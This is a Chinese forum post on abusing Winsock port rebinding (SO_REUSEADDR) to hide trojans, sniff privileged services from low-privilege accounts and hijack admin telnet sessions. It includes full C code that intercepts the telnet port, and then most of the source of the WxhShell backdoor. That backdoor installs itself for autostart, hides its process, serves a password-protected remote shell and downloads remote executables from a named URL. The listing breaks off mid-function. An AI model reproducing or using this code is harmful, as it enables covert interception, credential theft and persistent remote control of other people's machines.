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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )4.-6F7U?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `M. I.Z_  
k*!iUz{]  
  saddr.sin_family = AF_INET; +@H{H2J4  
I6gduvkXi4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); YpRhl(|  
jSRi  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UX<)hvKj  
HgBu:x?&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 SqdI($F\:  
-M_>]ubG  
  这意味着什么?意味着可以进行如下的攻击: D;jbZ9  
s:(z;cj/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -WR<tkK  
,V^$Meh  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^".6~{  
6j+X@|2^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;*ULrX4[  
{"2CI^!/U.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )[r=(6?n  
~jmI`X/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ao[yHcAs  
g}uSIv^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >"|t*k S  
tmM; Z(9t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $$< I}eMd>  
):}A Quy]  
  #include !_;J@B  
  #include DL,]iJm  
  #include m{~L Fhhd1  
  #include    m~fDDQs  
  DWORD WINAPI ClientThread(LPVOID lpParam);    pn) {v  
  int main() mEkYT  
  { w`3.wALb  
  WORD wVersionRequested; .+<Ka0  
  DWORD ret; eT]*c?"  
  WSADATA wsaData; ry@p  
  BOOL val; ^tI&5S]nE  
  SOCKADDR_IN saddr; <[K)PI  
  SOCKADDR_IN scaddr; :^xNHMp!  
  int err; *[BtW5 6-  
  SOCKET s; P=\Hi.]%  
  SOCKET sc; gW9`k,U  
  int caddsize; R,=8)OI2  
  HANDLE mt; rKd|s7l  
  DWORD tid;   mZmEE2h  
  wVersionRequested = MAKEWORD( 2, 2 ); (/!@ -]1  
  err = WSAStartup( wVersionRequested, &wsaData ); ~C>Q+tR8  
  if ( err != 0 ) { )0"T?Ivp]  
  printf("error!WSAStartup failed!\n"); U@{>+G[  
  return -1; 7^mQfQv  
  } Ap;^ \5  
  saddr.sin_family = AF_INET; <*-8E(a  
   m/(/!MVy  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n:b,zssP  
:i@ $s/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $b2~H+u(  
  saddr.sin_port = htons(23); T!HAE#xC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5,V*aP  
  { "r3h+(5  
  printf("error!socket failed!\n"); 3bjCa\ "  
  return -1; v\qyDZVV  
  } fX6pW%Q'6  
  val = TRUE; m\bmBK"I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 G;ZN>8NB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RAws{<6T-  
  { }[MkJ21!  
  printf("error!setsockopt failed!\n"); csxn" Dz\  
  return -1; -S&9"=v  
  } a1u4v/Qu9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mH5>50H;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ggst s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Wg,@S*x(  
d6 -q"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _`0DO4IU  
  { lA;^c)  
  ret=GetLastError(); bFlI:R&<  
  printf("error!bind failed!\n"); e7\gd\  
  return -1; p=Le oc1  
  } [7[Qw]J  
  listen(s,2); NWQ7%~#k*  
  while(1) ~ b66 ;  
  { )  LTV+?  
  caddsize = sizeof(scaddr); l @@pXg3  
  //接受连接请求 ^P/OHuDL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Zr A*MN  
  if(sc!=INVALID_SOCKET) kM=&Tfpj  
  { 6Yt3Oq<U  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NLYf   
  if(mt==NULL) pS7y3(_  
  { 61OlnmvE  
  printf("Thread Creat Failed!\n"); a|[f%T<<  
  break; 3u^wK  
  } qe(C>qjMbG  
  } XFl&(I4tB  
  CloseHandle(mt); fQg^^ZXe"  
  } /6yVbo"  
  closesocket(s); b&1hj[`)  
  WSACleanup(); U2vb&Qu/  
  return 0; 7^UY%t  
  }   ;E5XH"L\  
  DWORD WINAPI ClientThread(LPVOID lpParam) T g3MPa#g  
  { $AMcU5^b7  
  SOCKET ss = (SOCKET)lpParam; M(C}2.20  
  SOCKET sc; },Grg~l  
  unsigned char buf[4096]; G{Ju2HY  
  SOCKADDR_IN saddr; )J+rt^4|  
  long num; nU\.`.39 +  
  DWORD val; T2)CiR-b  
  DWORD ret; 8oRq3"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P c5C*{C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   T?=]&9Y'  
  saddr.sin_family = AF_INET; d7zZ~n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); b E40^e  
  saddr.sin_port = htons(23); In!^+j  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GkU$Z @  
  { Zp6VH  
  printf("error!socket failed!\n"); wgvCgr<  
  return -1; l=S!cj;  
  } p} eO  
  val = 100; P *PJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :P+7ti@  
  { f4NN?"W)  
  ret = GetLastError(); )"M;7W?R0  
  return -1; XtBEVqrhi  
  } j> dZ26 >N  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yT7{,Z7t  
  { ,pf\g[tz  
  ret = GetLastError(); :J2^Y4l2  
  return -1; IDh`*F  
  } v@s"*E/PF7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z.unCf3Q  
  { k+je-%hPj  
  printf("error!socket connect failed!\n"); /~fu,2=7  
  closesocket(sc); erTly2-SJ  
  closesocket(ss); %(POC=b#[  
  return -1; TM_bu  
  } '@\[U0?@K  
  while(1) US9@/V*2  
  { M\IdQY-c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oblw!)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n:s _2h(u  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m c@Z+t'  
  num = recv(ss,buf,4096,0); 1Ak0A6E  
  if(num>0) 00y(E @~  
  send(sc,buf,num,0); VAyAXN~  
  else if(num==0) ~YviXSW  
  break; j>v8i bS(  
  num = recv(sc,buf,4096,0); 7*Zm{r@u  
  if(num>0) ,lFzL3'_0x  
  send(ss,buf,num,0); 'X/:TOk{W  
  else if(num==0) |Dq?<Ha  
  break; Ju;^^  
  } ]_|%!/_  
  closesocket(ss); J<Ki;_=I  
  closesocket(sc); O(.eHZ=  
  return 0 ; h2:TbQ  
  } Bqk+ne  
np}0O  X  
?hIDyM  
========================================================== s`.J!^u`  
5N ;xo??  
下边附上一个代码,,WXhSHELL WUQa2$.  
=_Z.x&fi  
========================================================== '9<8<d7?  
r4K%dx-t  
#include "stdafx.h" ATmyoN2@>  
,5 3`t  
#include <stdio.h> B/3xV:Gy  
#include <string.h> ]lE5^<<  
#include <windows.h> aSHN*tP%y  
#include <winsock2.h> /!/Pk'p=/  
#include <winsvc.h> "15frr?  
#include <urlmon.h> 92b}N|u  
"EWq{l_I5$  
#pragma comment (lib, "Ws2_32.lib") ;9J6)zg !n  
#pragma comment (lib, "urlmon.lib") .uN(44^+x  
uLI;_,/:  
#define MAX_USER   100 // 最大客户端连接数 BuC\Bd^0  
#define BUF_SOCK   200 // sock buffer ?"?AH/ED  
#define KEY_BUFF   255 // 输入 buffer 'C:i5?zh(q  
s(L!]d.S$y  
#define REBOOT     0   // 重启 As tuM]  
#define SHUTDOWN   1   // 关机 c5i7mx:.  
#X'su`+  
#define DEF_PORT   5000 // 监听端口 jr-9KxE  
jgkY^l  
#define REG_LEN     16   // 注册表键长度 SVV-zz]3M  
#define SVC_LEN     80   // NT服务名长度 mfDt_Iq  
0Q cJ Ek  
// 从dll定义API nI+.De~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WBzPSnS2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L` rrT   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jrttWT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +#X+QG  
.=hVto[QC  
// wxhshell配置信息 >29c[O"[  
struct WSCFG { TvRm 7  
  int ws_port;         // 监听端口 vn@sPT  
  char ws_passstr[REG_LEN]; // 口令 ; =*=P8&5  
  int ws_autoins;       // 安装标记, 1=yes 0=no Uhyf  
  char ws_regname[REG_LEN]; // 注册表键名 X]GodqL\  
  char ws_svcname[REG_LEN]; // 服务名 6W;`}'ap  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k%s,(2)30  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {!.w}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z  6][9o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q!7mN?l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {)Wa"|+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n2[h`zm1{B  
2IkyC`  
}; 7c@5tCcC-  
:kjs: 6f]  
// default Wxhshell configuration <l+hcYam  
struct WSCFG wscfg={DEF_PORT, cVmF'g  
    "xuhuanlingzhe", I0^oaccM  
    1, 2%H_%Zu9  
    "Wxhshell", jOK !k  
    "Wxhshell", *r!qxiY= r  
            "WxhShell Service", 3z"%ht~;  
    "Wrsky Windows CmdShell Service", T[cJ   
    "Please Input Your Password: ", 9}q)AL-ga  
  1, X%7l! k[  
  "http://www.wrsky.com/wxhshell.exe", RYl\Q,#  
  "Wxhshell.exe" rQpQ qBu  
    }; f&$$*a  
-7 Kstc-  
// 消息定义模块 +p]@b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fM*aZc*Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )M7~RN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3u;0,:X&  
char *msg_ws_ext="\n\rExit."; z38Pi  
char *msg_ws_end="\n\rQuit."; s)sT\crP@  
char *msg_ws_boot="\n\rReboot..."; |H 5$VSw  
char *msg_ws_poff="\n\rShutdown..."; oj ,;9{-  
char *msg_ws_down="\n\rSave to "; z 5~X3k7  
Pb59RE:7V  
char *msg_ws_err="\n\rErr!"; 8CvNcO;H0  
char *msg_ws_ok="\n\rOK!"; m/,8\+  
GQE7P()  
char ExeFile[MAX_PATH]; a%/x  
int nUser = 0; {OS[0LB  
HANDLE handles[MAX_USER]; 'BVI^H4  
int OsIsNt; 5T'v iG}%  
b%VZPKA;  
SERVICE_STATUS       serviceStatus; ,}I m^~5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |n(b>.X  
#!r>3W&  
// 函数声明 FIQHs"#T  
int Install(void); CXi:?6OG  
int Uninstall(void); =#&+w[4?&.  
int DownloadFile(char *sURL, SOCKET wsh); N)KN!!  
int Boot(int flag); kn&BGYt  
void HideProc(void); N[yS heT  
int GetOsVer(void); 9h6siK(F  
int Wxhshell(SOCKET wsl); "|PX5  
void TalkWithClient(void *cs); HisH\z/i5)  
int CmdShell(SOCKET sock); Enp;-wG:-  
int StartFromService(void); 91k-os(4]  
int StartWxhshell(LPSTR lpCmdLine); h6tYy_(G  
JbXi|OS/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F C=N}5u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #V Z js`d6  
ykxAm\O  
// 数据结构和表定义 Jl$ X3wE  
SERVICE_TABLE_ENTRY DispatchTable[] = z07:E>D]  
{ A 0;ng2&  
{wscfg.ws_svcname, NTServiceMain}, e_1L J  
{NULL, NULL} w3ZO CWJS  
}; 5 <7sVd.  
@ xTVX'$  
// 自我安装 ^r{N^  
int Install(void) X%`:waR  
{ Y{X%C\  
  char svExeFile[MAX_PATH]; _) UnHp_^  
  HKEY key; CUaL  
  strcpy(svExeFile,ExeFile); $vn x)#r3  
#"[EVF0%1D  
// 如果是win9x系统,修改注册表设为自启动 \+C0Rv^^  
if(!OsIsNt) { R~RE21kAc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^<j =.E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >h(GmR*xM  
  RegCloseKey(key); * C*aH6*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d"lk"R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :y_] JL;w  
  RegCloseKey(key); "R% RI( y{  
  return 0; xhMAWFg|  
    } : TqeVf  
  } X*&Thmee  
} FbW$H]C$  
else { ;i ?R+T  
!H6X%hlk  
// 如果是NT以上系统,安装为系统服务 bj?=\u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )X8N|W>vh  
if (schSCManager!=0) |jcIn[)=  
{ =RofC9,  
  SC_HANDLE schService = CreateService m RC   
  ( 0XA0 b1VX  
  schSCManager, yFTN/MFt  
  wscfg.ws_svcname, d?/>Qqw:#  
  wscfg.ws_svcdisp, SPtx_+ Q)S  
  SERVICE_ALL_ACCESS, 6DC+8I<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =pnQ?2Og  
  SERVICE_AUTO_START, 1buO&q!vn  
  SERVICE_ERROR_NORMAL, _93:_L  
  svExeFile, 7~L_>7 ;  
  NULL, In;+wFu;M  
  NULL, SES-a Mi3  
  NULL, Na+h+wD.D  
  NULL, Yt=2HJY  
  NULL .P ??N  
  ); 8,&Y\b`..  
  if (schService!=0) bb-u'"5^]  
  { O! _d5r&,  
  CloseServiceHandle(schService); KNOVb=# f_  
  CloseServiceHandle(schSCManager); *lQa^F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CKC5S^Mx  
  strcat(svExeFile,wscfg.ws_svcname); p xW*kS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R pT7Nr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @Z<Z//^k  
  RegCloseKey(key); XS.*CB_m_  
  return 0; Ss\FSEN!/  
    } bP4}a!t+n  
  } 8T"kQB.Zv  
  CloseServiceHandle(schSCManager); y-"QY[  
} rshUF  
} 6LabFX@{&  
8wn{W_5a  
return 1; XaMsIyhI  
} SU jo%3R  
(?"z!dgc  
// 自我卸载 4AKPS&k;  
int Uninstall(void) 9xFI%UOb#  
{ t~8H~%T>v  
  HKEY key; C3(h j  
:Vw{ l B  
if(!OsIsNt) { 9VSi2p*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'p[B`Ft3F  
  RegDeleteValue(key,wscfg.ws_regname); r^ABu_u(`I  
  RegCloseKey(key); 0: B%,n UM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wGx H  
  RegDeleteValue(key,wscfg.ws_regname); sFsf~|  
  RegCloseKey(key); ^Ww5@  
  return 0; g1Osd7\o  
  } [c v!YE  
} NB-%Tp*d  
} R{Cbp=3J  
else { K'f2 S  
ACpecG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8O[l[5u&  
if (schSCManager!=0) be?Bf^O>  
{ 5gb:,+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eDvh3Y<D  
  if (schService!=0) `oM'H+  
  { Z_[L5B]Gwd  
  if(DeleteService(schService)!=0) { !-ZY_  
  CloseServiceHandle(schService); 1X9J[5|ll  
  CloseServiceHandle(schSCManager); ^1_CS*  
  return 0; [\  &2&  
  } nwIj?(8x  
  CloseServiceHandle(schService); {.J<^V  
  } j-ob7(v)*]  
  CloseServiceHandle(schSCManager); Qraa0]56  
} PX`xr1o  
} 6E.[F\u  
s-~`Ao' <  
return 1; DgB;6Wl  
} _CBMU'V  
`g0^ W/ j  
// 从指定url下载文件 k(_OhV_  
int DownloadFile(char *sURL, SOCKET wsh) DhD##5a  
{ 7OS i2  
  HRESULT hr; 08! _B\  
char seps[]= "/"; 4&v&XLkb  
char *token; f>3)}9?xc}  
char *file; *p9k> )'J  
char myURL[MAX_PATH]; N7YCg  
char myFILE[MAX_PATH]; B![:fiR`  
{SD%{  
strcpy(myURL,sURL); [a?bv7Kz  
  token=strtok(myURL,seps); A;o({9VH`Z  
  while(token!=NULL) Ge^,hAM'  
  { ^66OzT8A  
    file=token; p"j &s  
  token=strtok(NULL,seps); (!YJ:,!so  
  } $aN%[  
aIh} j,  
GetCurrentDirectory(MAX_PATH,myFILE);  QS1lg  
strcat(myFILE, "\\"); ($W%&(:/  
strcat(myFILE, file); }>V=J aG  
  send(wsh,myFILE,strlen(myFILE),0); w\{#nrhYU  
send(wsh,"...",3,0); Ex skd}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .L]5,#2([  
  if(hr==S_OK) [(&aVHUj  
return 0; qk(bA/+e  
else u7j,Vc'~  
return 1; $\bVu2&I  
VN'\c3;  
} S(CVkCP  
NytodVZ'3  
// 系统电源模块 1GB]Yi[>  
int Boot(int flag) 16 \)C/*  
{ Q>cEG"  
  HANDLE hToken; *xY3F8  
  TOKEN_PRIVILEGES tkp; -  eIo  
7>0u N|  
  if(OsIsNt) { )d2:r 07a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eKZS_Qd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C[d1n#@r  
    tkp.PrivilegeCount = 1; ]>%2,+5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3i'01z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); # z7yoP  
if(flag==REBOOT) { :{B']~Xf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w0vsdM;G  
  return 0; uZ'Z-!=CL  
} 5(E&jKn&  
else { 5%}!z~8Y4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `(=?k[48  
  return 0; c]bG5  
} ]lqZ9rO  
  } OhlK;hvdB*  
  else { {TdxsE>  
if(flag==REBOOT) { 1LAd5X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !hHX8TD^J  
  return 0; 0,Ib74N'w  
} .yFO] r1aL  
else { KWAd~8,mk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oe0YxSauL  
  return 0; Q]3]Z/i  
} XXA]ukj;r  
} o=K9\l  
,np|KoG|M  
return 1; 5FF28C)>/  
} 65*Hf3~~  
w{So(AF  
// win9x进程隐藏模块 Q1rEUbvCE  
void HideProc(void) NL;sn"  
{ hw*u.46  
z( }w|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p . P#S  
  if ( hKernel != NULL ) 5h0Hk<N  
  { 5X>~39(r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \NEk B&^n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )+=Kh$VbS  
    FreeLibrary(hKernel); Z @ef2y;  
  } ;[[6[i  
-Fu,oEj{*  
return; kM&-t&7  
} $5&~gHc,  
T?6<1nU)  
// 获取操作系统版本 $#2<f 6  
int GetOsVer(void) FQ`1c[M@  
{ "Z;({a$v  
  OSVERSIONINFO winfo; -$I30.#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HavlN}h  
  GetVersionEx(&winfo); q-uzu!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PAtv#)h  
  return 1; 9F?-zn;2s  
  else CQ^(/B^c  
  return 0; ,S(s  
} 5MD'AP:  
(E&M[hH+  
// 客户端句柄模块 ysl#Rwt/2  
int Wxhshell(SOCKET wsl) s S#/JLDx]  
{ 3}&3{kt  
  SOCKET wsh; DHx&%]r;D  
  struct sockaddr_in client; $!y^t$u$@  
  DWORD myID; kv,!"<  
M_.Jmh<&&  
  while(nUser<MAX_USER) m%>}T 75C^  
{ ^cSfkBh  
  int nSize=sizeof(client); $Bl51Vj N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UnYb}rF#%  
  if(wsh==INVALID_SOCKET) return 1; ,Z _@]D@  
3S2Alx!6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #7}M\\$M  
if(handles[nUser]==0) Il(o[Q>jJ3  
  closesocket(wsh); -1d*zySL  
else o?t H[  
  nUser++; N:k>V4oE  
  } tcsb]/my  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V45adDiZ  
/ x$JY\cq`  
  return 0; 6 w{_+=T  
} fjl 9*  
LL)t)  
// 关闭 socket ^blw\;LB  
void CloseIt(SOCKET wsh) DI2e%`$  
{ ls!A'@J  
closesocket(wsh); !Ko>   
nUser--; T]tu#h{ a  
ExitThread(0); w?^[*_Y  
} VNIl%9:-l  
Q^nf D  
// 客户端请求句柄 ?wCX:? g  
void TalkWithClient(void *cs) F ]Zg  
{ y Rl   
Bp5ra9*5+~  
  SOCKET wsh=(SOCKET)cs; U`HY eJ  
  char pwd[SVC_LEN]; |9IOZ>H9  
  char cmd[KEY_BUFF]; l&e$:=;8  
char chr[1]; 3oH/34jj  
int i,j; q*` m%3{  
qQG? k~r  
  while (nUser < MAX_USER) { ~u2f`67{  
n*na6rV\k  
if(wscfg.ws_passstr) { g<M!]0OK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HiU)q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~9vK 6;0  
  //ZeroMemory(pwd,KEY_BUFF); ujmIS~"  
      i=0; j|K;Yi  
  while(i<SVC_LEN) { r<!nU&FPD:  
a|oh Ad  
  // 设置超时 j 4=iHnE;  
  fd_set FdRead; `67i1w`  
  struct timeval TimeOut; {z0iWY2Xw  
  FD_ZERO(&FdRead); Ng*-Bw)p]  
  FD_SET(wsh,&FdRead); aGi`(|shW  
  TimeOut.tv_sec=8; |m"Gr)Gm  
  TimeOut.tv_usec=0; j3/6hE>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); REK):(i7P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :DNI\TmhJ  
RJerx:]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hCr,6ncC  
  pwd=chr[0]; /_{ZWLi(  
  if(chr[0]==0xd || chr[0]==0xa) { \gPMYMd  
  pwd=0; OW\vbWX  
  break; R2-F@_  
  } 3 e1-w$z&S  
  i++; Uuu2wz3O0  
    } :H m'o}  
Xo~q}(ze^  
  // 如果是非法用户,关闭 socket 0+@:f^3]!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZCc23UwI  
} zb!1o0, J  
.IdbaH _a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4* >j:1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )?(Ux1:w)  
'b}RFzEn  
while(1) { /NCN wAj7  
v^t7)nx^  
  ZeroMemory(cmd,KEY_BUFF); &;P\e  
u^{p' a'  
      // 自动支持客户端 telnet标准   js <Up/1  
  j=0; @_-,Q5  
  while(j<KEY_BUFF) { -k8sR1(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =d^hiR!GN  
  cmd[j]=chr[0]; W&|?8%"l]  
  if(chr[0]==0xa || chr[0]==0xd) { o^UOkxs.  
  cmd[j]=0; sRT H_]c  
  break; ppvlU H5;  
  } !8[A;+o3P  
  j++; q@[F|EF=  
    } *9kg \#  
-wV2 79^b  
  // 下载文件 ov,s]g83  
  if(strstr(cmd,"http://")) { h`N2M,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #\m.3!Hcr  
  if(DownloadFile(cmd,wsh)) rnhLv$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0LL0\ly]  
  else ,iP YsW]5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~B"HI+:\L  
  } &DGz/o  
  else { }k%6X@  
<Y?Z&rNb  
    switch(cmd[0]) { mR@d4(:J?  
  2xO[ ?fR  
  // 帮助 DH+kp$,}  
  case '?': { zs I?X>4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (ub(0 h0j  
    break; f*Q9u>1p  
  } i^.eX VV/  
  // 安装 `Tyd1!~  
  case 'i': { ^?""'1iuQx  
    if(Install()) U{oM*[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X5J)1rL  
    else Tf]ou5|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?i#x13  
    break; JXe~ 9/!  
    } ly*v|(S&  
  // 卸载 CQ/+- -o  
  case 'r': { Eq;w5;7s  
    if(Uninstall()) mKO~`Wq%@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [5p9p1@u{C  
    else j0{`7n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H2: Zda#  
    break; -;_"Y]#  
    } 2h51zG#qd  
  // 显示 wxhshell 所在路径 16 `M=R  
  case 'p': { :AztHf?X  
    char svExeFile[MAX_PATH]; ~<VxtcEBz  
    strcpy(svExeFile,"\n\r"); i]k)wr(  
      strcat(svExeFile,ExeFile); HSG Ln906  
        send(wsh,svExeFile,strlen(svExeFile),0); H6 x  
    break; T&pCLvkz  
    } W)Y`8&,  
  // 重启 aXVldt'  
  case 'b': { WcKDerc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qX-5/;n  
    if(Boot(REBOOT)) `IwZVz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~//9Nz~;3  
    else { l%GArH`  
    closesocket(wsh); MW rhVn{R  
    ExitThread(0); kGAgXtE  
    } mm: TR?^  
    break; )Wq1 af   
    } o<!H/PN  
  // 关机 T2w4D !  
  case 'd': { ZOV,yuD{8{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )$E){(Aa  
